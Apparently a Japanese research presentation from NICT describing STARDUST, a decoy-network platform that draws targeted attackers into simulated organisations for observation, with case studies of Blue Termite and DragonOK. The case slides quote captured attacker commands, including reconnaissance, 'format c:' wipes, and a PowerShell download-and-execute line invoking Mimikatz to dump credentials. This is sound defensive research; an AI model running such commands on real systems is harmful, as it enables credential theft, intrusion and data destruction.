サイバー攻撃誘引基盤
STARDUST〜事後対応からリアルタイム対応へ〜
国立研究開発法人 情報通信研究機構
サイバーセキュリティ研究所
サイバーセキュリティ研究室

井上 大介

1

NICTER
Network Incident analysis Center for Tactical Emergency Response

国立研究開発法人 情報通信研究機構とは？
 情報通信分野を専門とする日本で唯一の公的研究機関

日本標準時の生成・配信（うるう秒挿入）バイオ・ナノICT（生体分子の自己組織化）

光通信システム
宇宙通信システム（ペタbps級 マルチコアファイバ） （超高速インターネット衛星きずな）

脳情報通信融合（ブレイン・マシーン・インターフェイス）

多言語音声翻訳（多言語音声翻訳アプリ
VoiceTra）

電磁波センシング
サイエンスクラウド（ひまわり8号リアルタイムWeb） （Pi-SAR2による3.11直後の仙台空港）

超臨場感コミュニケーション（初音ミクさんの電子ホログラフィ）サイバーセキュリティ（対サイバー攻撃アラートシステム
DAEDALUS）

2

NICTER
Network Incident analysis Center for Tactical Emergency Responseサイバーセキュリティ研究室 研究マップ

Passive NIRVANA

インシデント分析センタ（ニクター）

ネットワーク可視化システム（ニルヴァーナ）

NICTER

サイバー攻撃統合分析プラットフォーム（ニルヴァーナ・カイ）

対サイバー攻撃アラートシステム（ダイダロス）

NIRVANA改DAEDALUS

Global (無差別型攻撃対策)(標的型攻撃対策)

委託研究
Web媒介型攻撃対策フレームワーク

サイバー攻撃誘引基盤

サイバーセキュリティ
ユニバーサル・リポジトリ

CURE

Local

STARDUST（ワープドライブ）(スターダスト)

Active3

NICTER
Network Incident analysis Center for Tactical Emergency Response

サイバー攻撃誘引基盤

STARDUST4NICTER
Network Incident analysis Center for Tactical Emergency Response標的型攻撃 特定組織を標的にした長期に渡る執拗なサイバー攻撃
 周到な内容のメールに添付されたマルウェアで組織に侵攻
 組織内ネットワークに潜伏・浸透し重要情報を収奪
標的型攻撃のCyber Kill Chain

諜報侵攻

潜伏橋頭堡確保

索敵

浸透

占領

TECH.ASCII.jp「9.5社に1社が対象に！シマンテックが明かす日本の標的型攻撃」
http://ascii.jp/elem/000/000/652/652712/ （2011-11-30）

収奪

撤収

5

NICTER
Network Incident analysis Center for Tactical Emergency Response

標的型攻撃研究の難しさ（2011年当時）
標的型攻撃の実データが集まらない！
NICTERのような大規模観測網に掛からない
攻撃を受けた被害組織からデータが出てこない• ログを長期間保存していない• ログが攻撃者に消されている• ログが存在しても機微情報が含まれ提供不可

マルウェアを解析しても初期侵入の表層的情報のみ• バックドアを仕掛けた後は攻撃者による手動の攻撃攻撃者の挙動を観測できる研究基盤が必要！

6

NICTER
Network Incident analysis Center for Tactical Emergency ResponseSTARDUST

攻撃者

 標的型攻撃等の攻撃者を誘い込む
サイバー攻撃誘引基盤
 組織を精巧に模擬した“並行ネットワーク”を自動生成

実ネットワーク B
実ネットワーク A

実ネットワーク C

Wormhole Wormholeで並行ネットワークに実ネットワークのIPアドレスを付与

Wormhole

Wormhole

並行ネットワーク B
並行ネットワーク A

並行ネットワーク C

STARDUST
Alfons（模擬環境構築システム）
SF-TAP（トラフィック分析基盤）
7

NICTER
Network Incident analysis Center for Tactical Emergency Response

STARDUST システム概要

攻撃者

解析者（研究者）

実ネットワーク・・・

インターネット

・・・

解析用
ネットワーク・・・

ワームホール
UI / API
・・・

・・・

・・・

・・・

・・・

infected!

並行ネットワーク

・・・

・・・

・・・

・・・

・・・

並行ネットワーク

並行ネットワーク

環境構築
システム

挙動解析システム

ネットワーク上の挙動

åå

ホスト上の挙動解析用データストア

ハイパーバイザ群

STARDUST

8NICTER
Network Incident analysis Center for Tactical Emergency ResponseSTARDUST- 並行ネットワークと模擬ノード - 並行ネットワーク

 模擬ノード

政府や企業等を精巧に模した模擬環境
各種サーバやPCが数十台〜数百台稼働
数十の並行ネットワークを同時稼働可能

並行ネットワーク内で稼働するPC端末
組織の情報資産を模した模擬情報を配置
模擬ノード内外の挙動をステルスに観測

標的型攻撃をリアルタイムに観測・分析可能に
9NICTER
Network Incident analysis Center for Tactical Emergency Response

ケーススタディ 日本を標的にした攻撃グループを解析‒ vs. Blue Termite(予備調査)：真っさらな並行ネットワークを利用‒ vs. DragonOK：生活感のある並行ネットワークを利用

 解析のワークフロー
1.
2.
3.
4.

マルウェアの動的解析によりC&Cサーバのドメインを入手
上述のC&Cサーバへの接続性を検証
並行ネットワーク上のホストでマルウェアを実行
C&Cサーバと接続できなくなれば解析終了#解析日02015/08/04 〜
2015/08/04

Blue Termite1

2016/03/25 〜
2016/04/11

DragonOK2

2016/05/27 〜
2016/05/31

DragonOK3

2016/08/18 〜
2016/09/30

DragonOK

攻撃グループマルウェア（MD5）

C&Cサーバの場所

並行ネットワークの設定•

ADのドメインに参加
AD = Active Directory

US

•
•

ADのドメインに参加
ファイルやメールを設置

SG

•
•

ADのドメインに参加
ファイルやメールを設置

US

•
•

ADのドメインに参加
ファイルやメールを設置

7af68ddba01ba2d69a8ef7c17430e5d0

JP
251c0f90bfe9a302c471bf352b259874

acc2e5f8abd7426574712fe6a13c2342

c938690a0558d070528a7cab4de0e9b3

10NICTER
Network Incident analysis Center for Tactical Emergency Responseケーススタディ用の並行ネットワーク
 3つのサブネット 5台のWindows 7
 ADに参加
 いくつかのサービスが動作
 プロキシ, DHCP, DNS,AD, ファイル共有, etc.

11

NICTER
Network Incident analysis Center for Tactical Emergency Response

Case 0 (vs. Blue Termite)1

ipconfig /all2

tasklist -v

3tasklist -v

4

net view /domain

5whoami6

net use7

dir c:¥users¥ktakahashi¥

8

dir c:¥users¥ktakahashi¥Desktop

9format c: /s

10

shutdown -t 0

11

format c:¥12format c:13

shutdown /s /t 0

ネットワークやホストの状態を調査
 その後、攻撃者が format や shutdown
コマンドでホストの停止を試みる
12NICTER
Network Incident analysis Center for Tactical Emergency Response

Case 1 (vs. DragonOK)1

net view

15

whomai /groups | find /i "level”

2

systeminfo

16

whoami3

whoami17

whoami /groups

4

tasklist18

net group5

dir c:¥users¥nito¥desktop¥

19

net view

6dir "c:¥program files¥"20

arp –a7

dir d:¥

21

netstat –ano8

dir c:¥users¥nito¥

22

ping 10.136.8.4 –n 1 <IP addr. of proxy>9

dir c:¥users¥nito¥documents¥

23

tasklist10

dir c:¥users¥nito¥downloads¥

24

netstat –an

11

dir ¥x03"c:¥Program Files (x86)¥"25

net view

12

netstat –an

26tracert13

dir c:¥users¥nito¥documents¥¥x03Credential

27

net view ¥¥win05

14

ipconfig /all

前ケースと同様にネットワーク/ホストを調査 whoami コマンドの実行を whomai とタイポ


手動でインタラクティブにコマンドを実行
13

NICTER
Network Incident analysis Center for Tactical Emergency Response

Case 2 (vs. DragonOK)1

ipconfig /all20

net view2

cd Users¥ktakahashi¥Desktop21

dir ¥¥SOUMU04¥

3

dir

22

z:

4

[download] [MembersOfGeneralAffair.xlsx]

23<skip L23,24, “cd ???” & “cd ????”>

5

cd ??-?????????201605

25

cd *2011

6

dir26

dir

7

net view /domain

27

cd..

8z:

28

cd *2016

9dir

29

dir

10

cd ??2016

30

cd..

11

dir

31

cd *2015

12

tasklist

32

dir

13

net view

33<skip L33-34, net view & group w/ /domain>

14<skip L14-18, “net user” x 4 and “whoami”>

35

ping FS –n 1

19

cd ¥36

net view ¥¥10.136.8.10<mount a file server named ”FS”><IP addr. of FS>

正規表現を利用して cd コマンドを実行していた L35-36から、手動でコマンドを実行していたと推察


14

NICTER
Network Incident analysis Center for Tactical Emergency Response

Case 3 (vs. DragonOK)
1<skip L1-8, investigating network/host in a similar
way in previous cases>

9

net view /doamin10

net view /domain

11<skip L11-16, investigating network/host in asimilar way in previous cases>

17

ver

18

powershell IEX (New-Object
Net.WebClient).DownloadString(‘URL’);
Invoke-Mimikatz-DumpCerts

19<skip L19-21, listing several folders using the dircommand22

dir *.txt

23<skip L19-21, investigating network/host in asimilar way in previous cases>40

dir c:¥windows¥temp¥3.exe

41c:¥windows¥temp¥3.exe

42<skip L42-54, listing several folders using the dircommand>

55

dir

タイポ

攻撃者が追加でツールをダウンロードして実行（この環境では正しく動作しなかった）

正規表現の利用

3.exe が実行
後の解析でPlugX亜種と判明

15

NICTER
Network Incident analysis Center for Tactical Emergency Response

STARDUST : ケーススタディまとめ

 通説１：標的型攻撃は国家が関与した高度な攻撃→ 多くの攻撃者がマニュアルに沿った類似性の高い挙動（アルバイト？） 通説２：攻撃者は組織内で不用意なスキャンをしない→ 組織内部調査のために頻繁にスキャン等を行う（ネットワークで容易に観測可能）

 通説３：攻撃者は潜入先のユーザの挙動を模して慎重に行動→ 一般ユーザが使用しないコマンドを多数使用（エンドホストで容易に観測可能）

リーズナブルなリアルタイム対応は可能！

16NICTERNetwork Incident analysis Center for Tactical Emergency Response